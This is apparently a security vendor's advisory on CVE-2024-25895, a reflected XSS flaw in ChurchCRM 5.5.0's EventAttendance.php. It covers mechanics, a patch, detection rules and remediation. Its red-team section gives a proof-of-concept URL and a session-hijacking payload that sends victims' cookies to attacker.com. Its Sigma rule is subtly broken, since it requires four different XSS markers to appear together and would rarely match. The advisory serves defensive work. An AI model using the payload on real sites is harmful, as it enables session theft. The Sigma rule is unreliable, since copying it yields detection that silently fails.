CVE-2024-25895

Executive Summary

CVE-2024-25895 is a reflected Cross-Site Scripting (XSS) vulnerability in ChurchCRM version 5.5.0, specifically within the /EventAttendance.php endpoint. The flaw resides in the type parameter, which is unsanitized and directly reflected back to the user's browser. An attacker can craft a malicious URL containing JavaScript payloads in the type parameter; when a victim clicks the link, the script executes in the context of the ChurchCRM application. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.1 (Medium) and is publicly known with proof-of-concept code available. No official patch has been released, making this a high-priority issue for administrators.

Supply Chain & Package Security

ChurchCRM is a PHP-based application distributed via GitHub and ZIP archives. There is no NPM, PyPI, Go, or Ruby package involved. The vulnerability is in the core application code, not in a third-party dependency. Administrators should verify the integrity of their ChurchCRM installation and consider manual code fixes until an official patch is provided.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low (potential session token leakage)
• Integrity Impact: Low (potential content injection)
• Availability Impact: None

The threat level is Medium due to the requirement for user interaction, but the ease of exploitation and lack of a patch elevate the risk for organizations using ChurchCRM 5.5.0.

Deep Dive & Mechanics

The vulnerability exists in the EventAttendance.php script. The type parameter is retrieved via $_GET['type'] and then echoed directly into the HTML response without any sanitization or encoding. For example, a request like:

/EventAttendance.php?type=<script>alert('XSS')</script>

will cause the browser to execute the injected JavaScript. The application does not use output encoding functions such as htmlspecialchars() or htmlentities() on this parameter. The reflected XSS occurs because the input is immediately returned in the HTTP response body without proper escaping.

The attack vector is simple: an attacker sends a phishing email or posts a link on a forum that includes the malicious type parameter. When a logged-in ChurchCRM user clicks the link, the script runs in their session context, allowing the attacker to steal cookies, perform actions on behalf of the user, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 5.5.0):

<?php
// EventAttendance.php (simplified)
$type = $_GET['type'];
echo "Event type: " . $type;
?>

Patched Code (Recommended Fix):

<?php
// EventAttendance.php (patched)
$type = htmlspecialchars($_GET['type'], ENT_QUOTES, 'UTF-8');
echo "Event type: " . $type;
?>

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection. The ENT_QUOTES flag ensures both single and double quotes are encoded. This is a standard mitigation for reflected XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept (PoC):

http://target/ChurchCRM/EventAttendance.php?type=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

http://target/ChurchCRM/EventAttendance.php?type=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

1. Install ChurchCRM 5.5.0 on a local server (e.g., XAMPP or Docker).
2. Access the application and log in as a user.
3. Craft the malicious URL with a JavaScript payload.
4. Send the URL to a victim (simulated by clicking the link in the same browser).
5. Observe the script execution (e.g., alert box or cookie exfiltration).

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /EventAttendance.php with suspicious type parameters containing <script>, onerror, javascript:, or base64-encoded payloads.
• Use WAF rules to block requests with HTML/JavaScript in the type parameter.

Mitigation:

• Apply the code fix shown above (use htmlspecialchars()).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to prevent JavaScript access to session tokens.
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /EventAttendance.php with type parameter containing <script>, %3Cscript%3E, or other HTML tags.
  • Outbound connections to attacker-controlled domains (if payload exfiltrates data).
• File IOCs:
  • Modified EventAttendance.php file (if attacker uploads a backdoor).
  • Suspicious entries in web server access logs (e.g., GET /EventAttendance.php?type=<script>...).
• Behavioral IOCs:
  • Unexpected JavaScript alerts or redirects in the ChurchCRM interface.
  • Unauthorized changes to user accounts or events.

Detection Engineering

YARA Rule

rule CVE_2024_25895_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting ChurchCRM EventAttendance.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-25895"
    strings:
        $xss_payload = /EventAttendance\.php\?type=.*(<script|<img|<svg|onerror|onload|javascript:)/
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS in ChurchCRM EventAttendance.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting ChurchCRM EventAttendance.php via the type parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/EventAttendance.php'
        c-uri|contains|all:
            - 'type='
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in type parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25895 - Reflected XSS in ChurchCRM EventAttendance.php"; flow:to_server,established; content:"GET"; http_method; content:"/EventAttendance.php"; http_uri; content:"type="; http_uri; pcre:"/type=.*(<script|<img|<svg|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Code Fix: Manually patch EventAttendance.php by wrapping the $type variable with htmlspecialchars() as shown in the patched code section.
2. Web Application Firewall (WAF): Deploy WAF rules to block requests containing HTML/JavaScript in the type parameter.
3. Content Security Policy (CSP): Add a CSP header that restricts script execution to trusted sources only.
4. HTTP-Only Cookies: Set session cookies with the HttpOnly flag to prevent JavaScript access.
5. User Education: Train users to avoid clicking suspicious links and to report unusual behavior.
6. Monitor Logs: Regularly review web server logs for signs of exploitation.
7. Vendor Update: Monitor the ChurchCRM project for an official patch and apply it as soon as available.

Valters IT
Securing Digital Frontiers